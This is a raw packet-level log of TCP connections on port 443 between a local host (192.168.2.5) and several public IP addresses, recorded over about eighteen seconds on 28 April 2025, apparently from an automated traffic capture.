Apr 28, 2025 09:04:07.395214081 CEST	443	49711	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:07.395260096 CEST	49711	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:07.406311989 CEST	49711	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:07.406322002 CEST	443	49711	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:07.496263027 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:07.496299982 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:07.496372938 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:07.496545076 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:07.496560097 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:07.499349117 CEST	49715	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:07.499397039 CEST	443	49715	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:07.499465942 CEST	49715	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:07.499567032 CEST	49715	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:07.499583006 CEST	443	49715	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:07.541538954 CEST	443	49712	104.21.78.21	192.168.2.5
Apr 28, 2025 09:04:07.541627884 CEST	443	49712	104.21.78.21	192.168.2.5
Apr 28, 2025 09:04:07.541819096 CEST	49712	443	192.168.2.5	104.21.78.21
Apr 28, 2025 09:04:07.543512106 CEST	49712	443	192.168.2.5	104.21.78.21
Apr 28, 2025 09:04:07.543524027 CEST	443	49712	104.21.78.21	192.168.2.5
Apr 28, 2025 09:04:07.558577061 CEST	443	49713	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:07.558698893 CEST	49713	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:07.559726954 CEST	49713	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:07.559735060 CEST	443	49713	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:07.559925079 CEST	443	49713	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:07.560419083 CEST	49713	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:07.608273029 CEST	443	49713	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:07.781196117 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:07.781754017 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:07.781754017 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:07.781786919 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:07.781801939 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:07.783014059 CEST	443	49715	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:07.783397913 CEST	49715	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:07.783426046 CEST	443	49715	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:07.783634901 CEST	49715	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:07.783639908 CEST	443	49715	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.109474897 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.109520912 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.109553099 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.109595060 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.109638929 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.109642982 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.109671116 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.109688997 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.110141993 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.110169888 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.110198975 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.110207081 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.110364914 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.110390902 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.110399008 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.111140013 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.111165047 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.111171961 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.111201048 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.111227989 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.111234903 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.111911058 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.111943960 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.111949921 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.111984968 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.112010002 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.112015963 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.112633944 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.112659931 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.112668991 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.112700939 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.112725019 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.112735033 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.112757921 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.113380909 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.113408089 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.113431931 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.113532066 CEST	443	49715	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.113552094 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.113560915 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.113583088 CEST	443	49715	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.114042044 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.114074945 CEST	49715	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.114078045 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.114099026 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.114844084 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.114871025 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.114882946 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.115037918 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.115061045 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.115071058 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.115591049 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.115617990 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.115619898 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.115628958 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.116283894 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.116308928 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.116312981 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.116341114 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.116364956 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.116374016 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.116394043 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.117162943 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.117508888 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.117516994 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.173523903 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.250231981 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.250245094 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.250376940 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.250385046 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.250408888 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.250422001 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.250432968 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.250444889 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.251705885 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.251738071 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.251744986 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.251765966 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.252394915 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.252509117 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.252516031 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.253026962 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.253056049 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.253062963 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.253086090 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.253106117 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.253510952 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.253520012 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.253794909 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.254431009 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.254498005 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.254627943 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.254627943 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.254627943 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.254637957 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.255989075 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.256056070 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.256087065 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.256093979 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.256120920 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.256779909 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.257435083 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.257462025 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.257468939 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.257489920 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.257498026 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.257602930 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.301745892 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.303026915 CEST	49714	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.303041935 CEST	443	49714	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.317225933 CEST	49715	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.317260981 CEST	443	49715	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.597017050 CEST	49718	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.597084045 CEST	443	49718	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.597143888 CEST	49718	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.597739935 CEST	49718	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.597762108 CEST	443	49718	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.820200920 CEST	49719	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.820257902 CEST	443	49719	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.820316076 CEST	49719	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.820861101 CEST	49719	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.820877075 CEST	443	49719	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.881989956 CEST	443	49718	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.940812111 CEST	49718	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.976633072 CEST	49718	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.976655006 CEST	443	49718	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.977092981 CEST	49718	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.977102041 CEST	443	49718	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:08.977132082 CEST	49718	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:08.977143049 CEST	443	49718	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:09.105978966 CEST	443	49719	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:09.106085062 CEST	49719	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:09.173531055 CEST	49719	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:09.173563004 CEST	443	49719	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:09.173825026 CEST	443	49719	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:09.194618940 CEST	49719	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:09.236268044 CEST	443	49719	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:09.439522028 CEST	443	49719	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:09.439578056 CEST	443	49719	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:09.439680099 CEST	49719	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:09.446248055 CEST	49719	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:09.446269989 CEST	443	49719	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:09.618407965 CEST	443	49713	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:09.618438959 CEST	443	49713	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:09.618458986 CEST	443	49713	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:09.618490934 CEST	49713	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:09.618513107 CEST	443	49713	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:09.618527889 CEST	49713	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:09.618554115 CEST	49713	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:09.618573904 CEST	443	49713	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:09.618597984 CEST	443	49713	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:09.618632078 CEST	49713	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:09.618637085 CEST	443	49713	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:09.618662119 CEST	49713	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:09.620688915 CEST	49713	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:09.620726109 CEST	443	49713	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:09.620734930 CEST	49713	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:09.620800018 CEST	49713	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:09.633578062 CEST	49721	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:09.633627892 CEST	443	49721	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:09.633686066 CEST	49721	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:09.633877993 CEST	49721	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:09.633891106 CEST	443	49721	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:09.921760082 CEST	443	49721	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:09.922298908 CEST	49721	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:09.922350883 CEST	443	49721	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:09.922669888 CEST	49721	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:09.922678947 CEST	443	49721	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:10.292970896 CEST	443	49721	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:10.293054104 CEST	443	49721	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:10.293154955 CEST	49721	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:10.296632051 CEST	49721	443	192.168.2.5	172.67.215.23
Apr 28, 2025 09:04:10.296653986 CEST	443	49721	172.67.215.23	192.168.2.5
Apr 28, 2025 09:04:10.298533916 CEST	49724	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:10.298564911 CEST	443	49724	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:10.298646927 CEST	49724	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:10.298796892 CEST	49724	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:10.298808098 CEST	443	49724	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:10.511806965 CEST	443	49700	192.178.49.196	192.168.2.5
Apr 28, 2025 09:04:10.511853933 CEST	443	49700	192.178.49.196	192.168.2.5
Apr 28, 2025 09:04:10.511928082 CEST	49700	443	192.168.2.5	192.178.49.196
Apr 28, 2025 09:04:10.866945982 CEST	443	49724	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:10.867019892 CEST	49724	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:10.885862112 CEST	49724	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:10.885894060 CEST	443	49724	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:10.886110067 CEST	443	49724	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:10.893603086 CEST	49724	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:10.940268040 CEST	443	49724	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:10.980720043 CEST	49700	443	192.168.2.5	192.178.49.196
Apr 28, 2025 09:04:10.980765104 CEST	443	49700	192.178.49.196	192.168.2.5
Apr 28, 2025 09:04:11.235183954 CEST	49675	443	192.168.2.5	2.23.227.208
Apr 28, 2025 09:04:11.235215902 CEST	443	49675	2.23.227.208	192.168.2.5
Apr 28, 2025 09:04:12.323767900 CEST	49676	443	192.168.2.5	20.189.173.14
Apr 28, 2025 09:04:12.381710052 CEST	443	49724	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:12.381731987 CEST	443	49724	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:12.381808043 CEST	49724	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:12.381838083 CEST	443	49724	212.81.47.195	192.168.2.5
Apr 28, 2025 09:04:12.382061958 CEST	49724	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:12.382709980 CEST	49724	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:12.382735968 CEST	49724	443	192.168.2.5	212.81.47.195
Apr 28, 2025 09:04:13.606609106 CEST	49718	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:13.606723070 CEST	443	49718	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:13.606795073 CEST	49718	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:13.883450985 CEST	49727	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:13.883480072 CEST	443	49727	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:13.883543968 CEST	49727	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:13.884013891 CEST	49727	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:13.884026051 CEST	443	49727	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:14.169796944 CEST	443	49727	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:14.169867992 CEST	49727	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:14.170485020 CEST	49727	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:14.170491934 CEST	443	49727	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:14.170696974 CEST	443	49727	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:14.170973063 CEST	49727	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:14.171011925 CEST	49727	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:14.171036005 CEST	443	49727	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.375830889 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.375885010 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.375962973 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.376116037 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.376132011 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.532808065 CEST	49729	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.532871962 CEST	443	49729	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.532953024 CEST	49729	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.533101082 CEST	49729	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.533118010 CEST	443	49729	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.659919977 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.704298019 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.728728056 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.728755951 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.729125023 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.729131937 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.818684101 CEST	443	49729	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.818805933 CEST	49729	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.819627047 CEST	49729	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.819647074 CEST	443	49729	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.819906950 CEST	443	49729	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.869790077 CEST	49729	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.997745991 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.997817039 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.997858047 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.997862101 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.997900963 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.997936964 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.997937918 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.997951984 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.998002052 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.998012066 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.998430014 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.998462915 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.998471975 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.998481035 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.998521090 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.998527050 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.999026060 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.999066114 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.999072075 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.999104023 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.999149084 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:22.999155998 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.999907017 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.999960899 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:22.999977112 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:23.000014067 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:23.000546932 CEST	49728	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:23.000561953 CEST	443	49728	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:23.886312962 CEST	49727	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:23.886399031 CEST	443	49727	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:23.886457920 CEST	49727	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:24.412985086 CEST	49732	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:24.413053036 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:24.413177967 CEST	49732	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:24.413336992 CEST	49732	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:24.413362980 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:24.698348045 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:24.698462009 CEST	49732	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:24.699307919 CEST	49732	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:24.699317932 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:24.699595928 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:24.699929953 CEST	49732	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:24.699965000 CEST	49732	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:24.700012922 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:25.045859098 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:25.045902967 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:25.045949936 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:25.045977116 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:25.045984030 CEST	49732	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:25.046005011 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:25.046015978 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:25.046030998 CEST	49732	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:25.046049118 CEST	49732	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:25.046070099 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:25.046331882 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:25.046365023 CEST	49732	443	192.168.2.5	104.18.94.41
Apr 28, 2025 09:04:25.046376944 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:25.046407938 CEST	443	49732	104.18.94.41	192.168.2.5
Apr 28, 2025 09:04:25.046447992 CEST	49732	443	192.168.2.5	104.18.94.41
